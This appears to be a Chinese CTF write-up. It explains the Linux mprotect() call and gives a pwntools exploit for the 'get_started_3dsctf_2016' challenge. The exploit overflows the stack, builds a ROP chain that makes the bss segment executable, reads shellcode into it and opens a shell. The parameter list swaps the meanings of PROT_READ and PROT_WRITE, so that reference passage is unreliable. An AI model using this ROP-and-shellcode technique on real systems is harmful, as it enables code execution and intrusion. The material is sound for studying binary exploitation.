mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
原型:
int mprotect(const void *start, size_t len, int prot);
第一个参数:需改写属性的内存中开始地址
第二个参数:需改写属性的内存长度
第三个参数:需要赋予的权限
Prot 的取值如下:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
一般用于在利用shellcode方式进行栈溢出时,但是bss段没有足够的权限来写入shellcode时,可以利于mprotect函数来改写bss段的权限
可以看到只开启了nx保护
程序中有直接可以读取flag的get_flag函数,但这次我们使用mprotect的方式来直接拿shell
使用gdb中的vmmap先来看一下bss段的权限
确定好溢出位后payload布局如下
mprotect函数
+pop *;ret
+参数1\2\3
+返回地址[read函数]
+pop *;ret
+参数1\2\3
+返回地址[shellcode_addr]
也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret
来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret
片段返回到shellcode的位置上即可。
EXP
from pwn import *
p=process('./get_started_3dsctf_2016')
#p=remote('node3.buuoj.cn',28216)
elf=ELF('./get_started_3dsctf_2016')
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
bss_addr = 0x80eb000
shellcode_addr = 0x080EB500
pop_3_ret=0x080483b8 #pop esi;pop edi;pop ebp;ret
payload='a'*0x38
payload += p32(elf.symbols['mprotect'])
payload += p32(pop_3_ret)
payload += p32(bss_addr)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(shellcode_addr)
payload += p32(0x100)
payload += p32(shellcode_addr)
p.sendline(payload)
sleep(1)
payload=asm(shellcraft.sh())
#gdb.attach(p)
p.sendline(payload)
p.interactive()